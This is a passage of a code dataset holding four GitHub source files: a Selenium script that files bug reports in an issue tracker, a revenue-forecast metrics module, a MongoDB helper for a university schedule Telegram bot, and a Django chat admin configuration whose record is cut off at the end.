{"seq_id": "33671654390", "text": "# -*- coding: utf-8 -*-\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.webdriver.support.select import Select\r\nimport time\r\nimport datetime\r\nimport csv\r\nimport sys\r\n#reload(sys)\r\n#sys.setdefaultencoding('utf-8')\r\n\r\ndriver = webdriver.Chrome()#打开浏览器\r\ndriver.maximize_window() #浏览器最大化\r\ndriver.get(\"http://baidu.com\")\r\n\r\n\r\ndef clickbutton(xpath1):\r\n    driver.find_element_by_xpath(xpath1).click()\r\n    time.sleep(1)\r\ndef inputvalue(xpath1,value1):\r\n    time.sleep(1)\r\n    driver.find_element_by_xpath(xpath1).send_keys(value1)\r\ndef linktext(text):\r\n    driver.find_element_by_link_text(text).click()\r\n    time.sleep(1)\r\ndef general():\r\n    clickbutton(\"//*[@id='components-multi-select']/span\")\r\n    linktext('友盟')\r\n    clickbutton(\"//*[@id='versions-multi-select']/span\")\r\n    linktext('待确认')\r\n    selectvalue(\"//*[@id='customfield_11072']\",'10971')\r\n    inputvalue(\"//*[@id='labels-textarea']\",u\"线上\")\r\n    time.sleep(1)\r\n    \r\ndef selectvalue(xpath1,value1):\r\n    Select(driver.find_element_by_xpath(xpath1)).select_by_value(value1)\r\n\r\ndef Monday(version):\r\n    if version == 'I':\r\n        inputvalue(\"//*[@id='assignee-field']\",\"guweixiong\")\r\n    else:\r\n        inputvalue(\"//*[@id='assignee-field']\",\"caoxu\")\r\ndef Tuesday(version):\r\n    if version == 'I':\r\n        inputvalue(\"//*[@id='assignee-field']\",\"guoqianling\")\r\n    else:\r\n        inputvalue(\"//*[@id='assignee-field']\",\"wangzhe\")\r\ndef Wednesday(version):\r\n    if version == 'I':\r\n        inputvalue(\"//*[@id='assignee-field']\",\"ligaofeng\")\r\n    else:\r\n        inputvalue(\"//*[@id='assignee-field']\",\"kongxiaoyan\")\r\ndef Thursday(version):\r\n    if version == 'I':\r\n        inputvalue(\"//*[@id='assignee-field']\",\"yanpei\")\r\n    else:\r\n        inputvalue(\"//*[@id='assignee-field']\",\"tantao\")\r\ndef Friday(version):\r\n    if version == 'I':\r\n        inputvalue(\"//*[@id='assignee-field']\",\"luguoqiang\")\r\n    else:\r\n        inputvalue(\"//*[@id='assignee-field']\",\"wangfeng\")\r\n\r\ndef os(os1):\r\n    try:\r\n        if os1 == u\"IOS 患者\":\r\n            selectvalue(\"//*[@id='customfield_10170']\",'10241')    \r\n        elif os1 == u'IOS 医生':\r\n            selectvalue(\"//*[@id='customfield_10170']\",'10242')         \r\n        elif os1 == u'Android 患者':\r\n            selectvalue(\"//*[@id='customfield_10170']\",'10243')         \r\n        else:\r\n            selectvalue(\"//*[@id='customfield_10170']\",'10244')\r\n    except:\r\n        os(os1)\r\n\r\ndef login():\r\n    if time1 =='Monday':\r\n        username='c1'\r\n        password='123'\r\n    elif time1 =='a1':\r\n        username='123'\r\n        password='111111'\r\n    else:\r\n        username='123'\r\n        password='111111'\r\n\r\n    inputvalue(\"//*[@id='login-form-username']\",username) #登录用户名\r\n    inputvalue(\"//*[@id='login-form-password']\",password) #登录密码\r\n    clickbutton(\"//*[@id='login-form-submit']\") #点击登录按钮\r\n    time.sleep(1)\r\n\r\ndef basic(time1):\r\n    try:\r\n        time.sleep(1)\r\n        if time1 == 'Monday':\r\n            inputvalue(\"//*[@id='project-field']\",u\"流量产品\")\r\n        elif time1 == 'Tuesday':\r\n            inputvalue(\"//*[@id='project-field']\",u\"学院中心产品\")\r\n        elif time1 == 'Wednesday':\r\n           inputvalue(\"//*[@id='project-field']\",u\"综合产品\")\r\n        elif time1 == 'Thursday':\r\n            inputvalue(\"//*[@id='project-field']\",u\"线上互联网医院\")\r\n        else:\r\n            inputvalue(\"//*[@id='project-field']\",u\"医生产品\")\r\n        time.sleep(1)\r\n    \r\n        clickbutton('//*[@id=\"所有项目\"]/li[1]/a')\r\n        time.sleep(1)\r\n        inputvalue(\"//*[@id='issuetype-field']\",u\"缺陷\")\r\n        time.sleep(1)\r\n        clickbutton(\"//*[@id='issuetype-suggestions']/div/ul/li/a\")\r\n        time.sleep(1)\r\n    except:\r\n        basic(time1)\r\n\r\n\r\ntime1 = time.strftime('%A',time.localtime())#判断今天是星期几\r\n\r\nlogin()  #登录\r\n\r\ni = 1\r\nwith open('2016-9-12.csv') as csvfile:  #打开每日友盟bug文件\r\n    reader = [each for each in csv.DictReader(csvfile)]\r\nfor row in reader:\r\n    clickbutton(\"//*[@id='create_link']\")#点击创建问题\r\n    time.sleep(1)\r\n    if i==1:      \r\n            basic(time1)  #根据日期选择对应方向\r\n\r\n    time.sleep(1)\r\n    inputvalue(\"//*[@id='summary']\",row['title']) #填写标题\r\n    time.sleep(1)\r\n    inputvalue(\"//*[@id='description']\",row['title'])#填写内容\r\n    general() #公共参数调用\r\n    time.sleep(1)\r\n    inputvalue(\"//*[@id='duedate']\",row['maturitydate'].decode('GB2312'))#选择到期日\r\n    try:\r\n        eval(time1)(row['client'][0]) #通过日期 选择对应开发\r\n        time.sleep(1)\r\n        clickbutton(\"//*[@id='所有用户']/li/a\")\r\n        time.sleep(1)\r\n    except:\r\n        eval(time1)(row['client'][0]) #通过日期 选择对应开发\r\n        time.sleep(1)\r\n        clickbutton(\"//*[@id='所有用户']/li/a\")\r\n        time.sleep(1)\r\n        \r\n    os(row['client'].decode('GB2312')) #选择版本\r\n        \r\n    \r\n    level = row['level'] #级别   \r\n    if level == 'P1':       #选择到期日和级别\r\n        selectvalue(\"//*[@id='customfield_10172']\",'10250')\r\n    elif level == 'P2':\r\n        selectvalue(\"//*[@id='customfield_10172']\",\"10251\")\r\n    else:\r\n        selectvalue(\"//*[@id='customfield_10172']\",\"10252\")\r\n\r\n\r\n    clickbutton(\"//*[@id='create-issue-submit']\")  #提交\r\n    #clickbutton(\"//*[@id='create-issue-dialog']/div[2]/div/div/form/div[2]/div/a\")\r\n    \r\n    i += 1\r\n\r\ncsvfile.close()\r\n\r\ndata = driver.title  \r\n#print data  \r\n#driver.quit()\r\n", "repo_name": "Explorer1092/biubiubiu", "sub_path": "python/常用代码/selenium-mail.py", "file_name": "selenium-mail.py", "file_ext": "py", "file_size_in_byte": 5600, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "selenium.webdriver.Chrome", "line_number": 13, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 13, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 20, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 22, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 26, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 34, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.select.Select", "line_number": 37, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 92, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 96, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 107, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 110, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 112, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 114, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 119, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 119, "usage_type": "call"}, {"api_name": "csv.DictReader", "line_number": 125, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 128, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 132, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 134, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 137, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 141, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 143, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 146, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 148, "usage_type": "call"}]}
{"seq_id": "13694240342", "text": "#!/usr/bin/env python\n\"\"\"\na collection of functions to measure & visualize performance\n\"\"\"\n\nimport os, pickle, re\nimport numpy as np\nimport pandas as pd\nfrom sklearn.covariance import EllipticEnvelope\nfrom scipy.stats import wasserstein_distance\nfrom sklearn.metrics import mean_squared_error as mse\nfrom sklearn.metrics import mean_absolute_error as mae\nimport matplotlib.pyplot as plt\n# import plotly.graph_objects as go\nwith open('__version__','r+') as f:\n    MODEL_VERSION = f.read()\n    f.close\n\n# from model import get_preprocessor\n\ndef percentage_error(actual, predicted):\n    '''\n    given 2 arrays and remove entries in the array if 0\n    '''\n    res = np.empty(actual.shape)\n    for j in range(actual.shape[0]):\n        if actual[j] != 0:\n            res[j] = (actual[j] - predicted[j]) / actual[j]\n        else:\n            res[j] = predicted[j] / np.mean(actual)\n    return res\n\ndef mape(y_true, y_pred):\n    '''\n    caculate mean absolute percentage error, ignoring 0 entry.\n    '''\n    return np.mean(np.abs(percentage_error(np.asarray(y_true), np.asarray(y_pred)))) * 100\n\ndef plot_ts(country):\n    '''\n    plot out the y_true vs y_pred, given the country, all_data, and all_models\n    '''\n    version_ = re.sub(\"\\.\",\"_\",str(MODEL_VERSION))\n    all_data, all_models = pickle.load(open(os.path.join(\"models\",f\"all_data_model-{version_}.pickle\"), \"rb\" ))\n    y_true = all_data[country]['y']\n    y_pred = all_models[country].predict(all_data[country]['X'])\n    all_dates = all_data[country]['dates']\n    rmse_ = round(mse(y_true,y_pred,squared=False),2)\n    mae_ = round(mae(y_true,y_pred),2)\n    mape_ = round(mape(y_true,y_pred),2)\n\n    # fig = go.Figure()\n    # fig.add_trace(go.Scatter(x=all_dates, y=y_true, name='Actual Revenue'))\n    # fig.add_trace(go.Scatter(x=all_dates, y=y_pred, name='Predicted Revenue'))\n    #\n    # fig.update_layout(title=f\"{country.replace('_',' ').title()}: RMSE:{rmse_}, MAE:{mae_}, MAPE:{mape_}%\",\n    #                   yaxis_title=\"Revenue\")\n    # fig.show()\n    plt.figure(figsize=(12,4))\n    plt.title(f\"Model for {country.replace('_',' ').title()}: RMSE:{rmse_}, MAE:{mae_}, MAPE:{mape_}%\")\n    plt.plot(pd.to_datetime(all_dates),y_true,label='Actual Revenue')\n    plt.plot(pd.to_datetime(all_dates),y_pred,label='Predict Revenue')\n    plt.legend()\n    plt.show()\n\ndef show_importance(country):\n    '''\n    returns a df that shows feature importance\n    '''\n    version_ = re.sub(\"\\.\",\"_\",str(MODEL_VERSION))\n    all_data, all_models = pickle.load(open(os.path.join(\"models\",f\"all_data_model-{version_}.pickle\"), \"rb\" ))\n    df = pd.DataFrame.from_dict({'feature':all_data[country]['X'].columns,\n                        'importance':all_models[country].best_estimator_.steps[1][1].feature_importances_})\\\n                        .sort_values(by='importance',ascending=False)\\\n                        .style\\\n                        .bar(color='lightblue', subset=['importance'], align='zero')\n    return df\n\ndef compare_drift(X_src,y_src,X_new,y_new):\n    clf_y = EllipticEnvelope(random_state=0,contamination=0.01)\n    clf_X = EllipticEnvelope(random_state=0,contamination=0.01)\n\n    clf_X.fit(X_src)\n    clf_y.fit(y_src.reshape(y_src.size,1))\n\n    test_X = clf_X.predict(X_new)\n\n    test_y = clf_y.predict(y_new.reshape(-1, 1))\n\n    X_distance = wasserstein_distance(X_src.values.flatten(),X_new.values.flatten())\n\n    y_distance = wasserstein_distance(y_src.flatten(),y_new.flatten())\n\n    X_outlier = len(test_X[test_X == -1])/len(test_X)\n\n    y_outlier = len(test_y[test_y == -1])/len(test_y)\n\n    results = {\n        'X_wasserstein_distance':X_distance,\n        'y_wasserstein_distance':y_distance,\n        'X_outlier_percentage':X_outlier,\n        'y_outlier_percentage':y_outlier\n    }\n\n    return results\n", "repo_name": "hengwang322/aavail-revenue-forecast", "sub_path": "performance.py", "file_name": "performance.py", "file_ext": "py", "file_size_in_byte": 3768, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "69", "api": [{"api_name": "numpy.empty", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 37, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 43, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 48, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_absolute_error", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "pandas.to_datetime", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "pandas.to_datetime", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "re.sub", "line_number": 70, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path", "line_number": 71, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame.from_dict", "line_number": 72, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 72, "usage_type": "attribute"}, {"api_name": "sklearn.covariance.EllipticEnvelope", "line_number": 80, "usage_type": "call"}, {"api_name": "sklearn.covariance.EllipticEnvelope", "line_number": 81, "usage_type": "call"}, {"api_name": "scipy.stats.wasserstein_distance", "line_number": 90, "usage_type": "call"}, {"api_name": "scipy.stats.wasserstein_distance", "line_number": 92, "usage_type": "call"}]}
{"seq_id": "5822810865", "text": "\"\"\"db_worker.py\n\n    Этот модуль осуществляет всю работу, связанную с базой данных MongoDB.\n    Поля класса DBUser написаны на property и имеют удобный синтаксис получения\n    и изменения значений.\n\n    Для работы с модулем, нужно его импортировать и создать инстанс класса DBWorker:\n\n    ```\n    from db_worker import DBWorker\n\n    db = DBWorker('my_host')\n    ```\n\"\"\"\n\nfrom datetime import datetime\nfrom time import time\nfrom typing import Union, List\n\nfrom pymongo import MongoClient\nfrom loguru import logger\n\nfrom app.models import Lesson, Schedule, User, Settings\nfrom app.properties import MONGODB_URI\n\n\nclass DBInterface:\n    \"\"\"Интерфейс для работы с базой данных.\n    \"\"\"\n\n    # pylint: disable=too-few-public-methods\n    # Это класс-интерфейс, он не требует дополнительных методов.\n\n    def __new__(cls, host: str = MONGODB_URI):\n        if not hasattr(cls, 'instance'):\n            logger.debug('DBInterface created')\n            cls._db_uri = host\n            cls.instance = super(DBInterface, cls).__new__(cls)\n        return cls.instance\n\n    def __init__(self, host: str = MONGODB_URI, db_name: str = 'heroku_38n7vrr9'):\n        # Подключение к СУБД\n        self._db_uri = host\n        client = MongoClient(self._db_uri)\n\n        # Подключение к БД\n        database = client.get_database(db_name)\n\n        # Подключение к коллекциям БД\n        self._users = database.users\n        self._schedule = database.schedule_latest\n        self._groups = database.groups\n        self._settings = database.settings\n        self._scheduled_msg = database.scheduled_messages\n        self._teachers = database.teachers\n\n\nclass DBUser(DBInterface):\n    \"\"\"Класс для работы с пользователем в базе данных.\n    \"\"\"\n\n    # pylint: disable=too-many-instance-attributes\n    # При инициализации объявляются все необходимые поля.\n\n    def __init__(self, user_id: int):\n        super().__init__()\n        self._db_obj: dict = self._users.find_one(\n            {'user_id': user_id}, {'_id': False})\n\n        if not self._db_obj:\n            raise ValueError(f'User {user_id} not found.')\n\n        self.first_name: str = self._db_obj['first_name']\n        self.last_name: Union[str, None] = self._db_obj['last_name']\n        self.user_id: int = self._db_obj['user_id']\n        self.username: Union[str, None] = self._db_obj['username']\n        self._state: str = self._db_obj['state']\n        self._group: str = self._db_obj['group']\n        self._notification_time: dict = self._db_obj.get('notification_time')\n        self._favorite_groups: Union[List[str], None] = (\n            self._db_obj['favorite_groups']\n        )\n\n    def obj(self) -> User:\n        \"\"\"Объект модели User.\"\"\"\n        return User(**{\n            'first_name': self.first_name,\n            'last_name': self.last_name,\n            'user_id': self.user_id,\n            'username': self.username,\n            'state': self.state,\n            'group': self.group,\n            'notification_time': self.notification_time,\n            'favorite_groups': self.favorite_groups\n        })\n\n    @property\n    def full_name(self):\n        \"\"\"Полное имя пользователя (fn+ln при наличии ln, либо только fn).\"\"\"\n        if self.last_name:\n            return f\"{self.first_name} {self.last_name}\"\n\n        return self.first_name\n\n    def __str__(self):\n        if self.username:\n            details = f'[@{self.username}, {self.user_id}]'\n        else:\n            details = f'[{self.user_id}]'\n\n        group = self.group\n\n        return f\"{self.full_name} {details} - {group}\"\n\n    @property\n    def state(self) -> str:\n        \"\"\"Текущее состояние пользователя.\"\"\"\n        return self._state\n\n    @state.setter\n    def state(self, new_state: str):\n        self._state = new_state\n        self._users.update_one(\n            {'user_id': self.user_id},\n            {'$set': {'state': new_state}}\n        )\n\n    @property\n    def group(self) -> str:\n        \"\"\"Текущая группа пользователя.\"\"\"\n        return self._group\n\n    @group.setter\n    def group(self, new_group: str):\n        self._group = new_group\n        self._users.update_one(\n            {'user_id': self.user_id},\n            {'$set': {'group': new_group}}\n        )\n\n    @property\n    def favorite_groups(self) -> list[str]:\n        \"\"\"Список избранных групп пользователя.\"\"\"\n        return self._favorite_groups\n\n    @favorite_groups.setter\n    def favorite_groups(self, new_fav: list[str]):\n        self._favorite_groups = new_fav\n        self._users.update_one(\n            {'user_id': self.user_id},\n            {'$set': {'favorite_groups': new_fav}}\n        )\n\n    @property\n    def notification_time(self) -> dict[str, str]:\n        \"\"\"Словарь ежедневных уведомлений пользователя\"\"\"\n        return self._notification_time\n\n    @notification_time.setter\n    def notification_time(self, new_notification_time: dict[str, str]):\n        self._favorite_groups = new_notification_time\n        self._users.update_one(\n            {'user_id': self.user_id},\n            {'$set': {'notification_time': new_notification_time}}\n        )\n\n\nclass DBSettings(DBInterface):\n    \"\"\"Класс для работы с настройками бота в базе данных.\n    \"\"\"\n\n    # pylint: disable=too-many-instance-attributes\n    # При инициализации объявляются все необходимые поля.\n\n    def __init__(self):\n        super().__init__()\n        self._db_obj: dict = self._settings.find_one({}, {'_id': False})\n\n        if not self._db_obj:\n            raise ValueError('Settings are not found.')\n\n        self._maintenance: bool = self._db_obj['maintenance']\n        self._admins: list[int] = self._db_obj['admins']\n\n    def obj(self) -> Settings:\n        \"\"\"Объект модели User.\"\"\"\n        return Settings(**{\n            'maintenance': self._maintenance,\n            'admins': self._admins\n        })\n\n    @property\n    def maintenance(self) -> bool:\n        \"\"\"Состояние техработ.\"\"\"\n        return self._maintenance\n\n    @maintenance.setter\n    def maintenance(self, new_maintenance_state: bool):\n        self._maintenance = new_maintenance_state\n        self._settings.update_one(\n            {},\n            {'$set': {'maintenance': new_maintenance_state}}\n        )\n\n    @property\n    def admins(self) -> list[int]:\n        \"\"\"Список админов бота.\"\"\"\n        return self._admins\n\n    @admins.setter\n    def admins(self, new_admins_list: list[int]):\n        self._admins = new_admins_list\n        self._settings.update_one(\n            {},\n            {'$set': {'admins': new_admins_list}}\n        )\n\n\nclass DBWorker(DBInterface):\n    \"\"\"Класс-синглтон для работы с базой данных.\n    \"\"\"\n    def __new__(cls, host: str, db_name: str = 'heroku_38n7vrr9'):\n        if not hasattr(cls, 'instance'):\n            cls._db_name = db_name\n            cls.instance = super(DBWorker, cls).__new__(cls)\n        return cls.instance\n\n    def user(self, user_id: int) -> DBUser:\n        \"\"\"Функция получения объекта пользователя.\n\n        Аргументы:\n            user_id (int): ID пользователя в Telegram\n\n        Возвращает:\n            DBUser: объект пользователя\n        \"\"\"\n        try:\n            return DBUser(user_id)\n        except ValueError:\n            return None\n\n    def add_user(self, user: User, replace: bool = True):\n        \"\"\"Функция добавления пользователя в базу данных.\n\n        Аргументы:\n            user (User): объект пользователя\n            replace (bool): заменять ли имеющийся объект пользователя\n        \"\"\"\n        db_user = self.user(user.user_id)\n        if db_user:\n            if replace:\n                self._users.replace_one({'user_id': user.user_id}, user.dict())\n        else:\n            self._users.insert_one(user.dict())\n\n    def schedule(\n            self, group: str, weekday: str = None,\n            weektype: str = None) -> Schedule:\n        \"\"\"Функция получения объекта расписания по группе.\n\n        Аргументы:\n            group (str): имя группы\n            weekday (str, optional): день недели. Требует weektype.\n            weektype (str, optional): тип недели (even/odd). Требует weekday.\n\n        Возвращает:\n            Schedule: объект расписания\n        \"\"\"\n        db_schedule = self._schedule.find_one(\n            {'group': group}, {'_id': False}\n        )\n\n        if not db_schedule:\n            return None\n\n        if weekday and weektype:\n            lessons_list = db_schedule[weekday][weektype]\n            return [Lesson(**lessons_list[i]) for i in range(len(lessons_list))]\n\n        return Schedule(**db_schedule)\n\n    def add_schedule(self, schedule: Schedule, replace: bool = True):\n        \"\"\"Функция добавления расписания в базу данных.\n\n        Аргументы:\n            schedule (Schedule): объект расписания\n            replace (bool): заменять ли имеющееся расписание\n        \"\"\"\n        if self._schedule.find_one({'group': schedule.group}):\n            if replace:\n                self._schedule.replace_one(\n                    {'group': schedule.group}, schedule.dict())\n        else:\n            self._schedule.insert_one(schedule.dict())\n\n    def groups(self, faculty: str, year: str) -> list[str]:\n        \"\"\"Функция получения списка групп по факультету и году поступления.\n\n        Аргументы:\n            faculty (str): факультет\n            year (str): год поступления\n\n        Возвращает:\n            list[str]: список групп\n        \"\"\"\n        # REVIEW - нужно полностью перейти на четырёхзначные года\n        if len(year) == 2:\n            year = datetime.today().strftime(\"%Y\")[:2] + year\n\n        groups = self._groups.find_one(\n            {'faculty': faculty, 'year': year}\n        )\n\n        return groups['groups']\n\n    def add_groups(self, faculty: str, year: str, groups: list[str], replace: bool = True):\n        \"\"\"Функция добавления групп в базу данных.\n\n        Аргументы:\n            faculty (str): факультет списка групп\n            year (str): год поступления списка групп\n            groups (list[str]): список групп\n            replace (bool): заменять ли имеющиеся группы\n        \"\"\"\n        # TODO: Переделать под модель из pydantic\n        last_updated = time()\n\n        document = {\n            'last_updated': last_updated,\n            'faculty': faculty,\n            'year': year,\n            'groups': groups\n        }\n\n        if self._groups.find_one({'faculty': faculty, 'year': year}):\n            if replace:\n                self._groups.replace_one(\n                    {'faculty': faculty, 'year': year}, document)\n        else:\n            self._groups.insert_one(document)\n\n    def add_teacher(self, teacher: dict, replace: bool = True):\n        \"\"\"Функция добавления преподавателя в базу данных.\n\n        Аргументы:\n            teacher (dict): документ (object-like) преподавателя\n            replace (bool): заменять ли имеющиеся объекты преподавателей\n\n        TODO: Переделать под модели pydantic\n        \"\"\"\n        name = teacher.get('name')\n        if self._teachers.find_one({'name': name}):\n            if replace:\n                self._teachers.replace_one({'name': name}, teacher)\n        else:\n            self._teachers.insert_one(teacher)\n\n    @staticmethod\n    def years() -> list[int]:\n        \"\"\"Функция получения актуальных годов поступления.\n\n        Возвращает:\n            list[int]: список актуальных годов поступления\n        \"\"\"\n        # REVIEW: не работает с базой данных\n        years = []\n        now = datetime.now()\n        month = int(now.strftime('%m'))\n        year = int(now.strftime('%Y'))\n\n        if month <= 8:\n            # Учебный год ЕЩЁ не кончился\n            for _ in range(4):\n                year -= 1\n                years.append(year)\n        else:\n            # Учебный год УЖЕ кончился или УЖЕ начался\n            for _ in range(4):\n                years.append(year)\n                year -= 1\n\n        return years\n\n    @staticmethod\n    def faculties() -> list[dict[str, str]]:\n        \"\"\"Функция получения факультетов.\n\n        Возвращает:\n            list[int]: список факультетов\n        \"\"\"\n        # REVIEW: не работает с базой данных\n\n        faculties_objects = [\n            {\n                'full': 'Факультет информационных технологий',\n                'short': 'ФИТ'\n            },\n            {\n                'full': 'Факультет энергетики и электроники',\n                'short': 'ФЭЭ'\n            },\n            {\n                'full': 'Факультет отраслевой и цифровой экономики',\n                'short': 'ФОЦЭ'\n            },\n            {\n                'full': 'Учебно-научный технологический институт',\n                'short': 'УНТИ'\n            },\n            {\n                'full': 'Механико-технологический факультет',\n                'short': 'МТФ'\n            },\n            {\n                'full': 'Учебно-научный институт транспорта',\n                'short': 'УНИТ'\n            },\n        ]\n\n        return faculties_objects\n\n    def settings(self) -> DBSettings:\n        \"\"\"Функция получения настроек бота.\n\n        Возвращает:\n            DBSettings: объект настроек бота\n        \"\"\"\n        try:\n            return DBSettings()\n        except ValueError:\n            return None\n", "repo_name": "xhable1337/bgtu_bot", "sub_path": "app/utils/db_worker.py", "file_name": "db_worker.py", "file_ext": "py", "file_size_in_byte": 15140, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "app.properties.MONGODB_URI", "line_number": 34, "usage_type": "name"}, {"api_name": "loguru.logger.debug", "line_number": 36, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 36, "usage_type": "name"}, {"api_name": "app.properties.MONGODB_URI", "line_number": 41, "usage_type": "name"}, {"api_name": "pymongo.MongoClient", "line_number": 44, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 74, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 76, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 80, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 80, "usage_type": "name"}, {"api_name": "app.models.User", "line_number": 86, "usage_type": "call"}, {"api_name": "app.models.User", "line_number": 84, "usage_type": "name"}, {"api_name": "app.models.Settings", "line_number": 187, "usage_type": "call"}, {"api_name": "app.models.Settings", "line_number": 185, "usage_type": "name"}, {"api_name": "app.models.User", "line_number": 242, "usage_type": "name"}, {"api_name": "app.models.Lesson", "line_number": 278, "usage_type": "call"}, {"api_name": "app.models.Schedule", "line_number": 280, "usage_type": "call"}, {"api_name": "app.models.Schedule", "line_number": 258, "usage_type": "name"}, {"api_name": "app.models.Schedule", "line_number": 282, "usage_type": "name"}, {"api_name": "datetime.datetime.today", "line_number": 308, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 308, "usage_type": "name"}, {"api_name": "time.time", "line_number": 326, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 367, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 367, "usage_type": "name"}]}
{"seq_id": "108971055", "text": "# coding: utf-8\nfrom django.contrib import admin\n\nfrom . import models\n\n\nclass RoomAdmin(admin.ModelAdmin):\n    list_display = ('name', 'label', 'user')\n    list_per_page = 20\n    list_filter = ('name', )\n\n\nclass RoomUserAdmin(admin.ModelAdmin):\n    list_display = ('user', 'room', 'is_delete', 'is_owner')\n    list_per_page = 20\n    list_filter = ('user', 'room', 'is_delete', 'is_owner')\n\n\nclass MessageAdmin(admin.ModelAdmin):\n    list_display = ('user', 'content', 'send_time')\n    list_per_page = 20\n\n\nclass RoomUserIpAdmin(admin.ModelAdmin):\n    list_display = (\n        'ip', 'room_ip_id', 'client_port', 'is_online',\n        'connect_time', 'disconnect_time', 'last_connect_time'\n    )\n    list_filter = ('is_online', 'room_ip_id')\n    list_per_page = 20\n    search_fields = ('ip', )\n\n\nclass UserIpAdmin(admin.ModelAdmin):\n    list_display = ('ip', 'username')\n    list_per_page = 20\n    search_fields = ('ip', 'username')\n\n\nclass RoomIpAdmin(admin.ModelAdmin):\n    list_display = ('name', 'label', 'content')\n    list_per_page = 20\n    list_filter = ('name',)\n    search_fields = ('name', 'label')\n\n\nclass MessageIpAdmin(admin.ModelAdmin):\n    list_display = ('room_id', 'get_ip', 'content', 'send_time')\n    list_per_page = 20\n    search_fields = ('content', 'room_id', 'user_id')\n    list_filter = ('room_id', )\n\n    def get_ip(self, obj):\n        user_ip = UserIp.objects.filter(\n            id=obj.user_id\n        )\n        if user_ip.exists():\n            return user_ip.first().ip\n        return ''\n    get_ip.short_description = 'ip'\n\n\nclass BlackIpAdmin(admin.ModelAdmin):\n    list_display = ('ip', 'start_time', 'end_time')\n    list_per_page = 20\n    search_fields = ('ip', )\n\n\nadmin.site.register(models.User)\nadmin.site.register(models.Room, RoomAdmin)\nadmin.site.register(models.RoomUser, RoomUserAdmin)\nadmin.site.register(models.Message, MessageAdmin)\nadmin.site.register(models.UserIp, UserIpAdmin)\nadmin.site.register(models.RoomIp, RoomIpAdmin)\nadmin.site.register(models.RoomUserIp, RoomUserIpAdmin)\nadmin.site.register(models.MessageIp, MessageIpAdmin)\nadmin.site.register(models.BlackIp, BlackIpAdmin)\n", "repo_name": "rubbish822/django_ws", "sub_path": "chat/admin.py", "file_name": "admin.py", "file_ext": "py", "file_size_in_byte": 2131, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "69", "api": [{"api_name": "django.contrib.admin.ModelAdmin", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 7, "usage_type": "name"}, {"api_name": "django.contrib.admin.ModelAdmin", "line_number": 13, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 13, "usage_type": "name"}, {"api_name": "django.contrib.admin.ModelAdmin", "line_number": 19, "usage_type": "attribute"}, {"api_name": 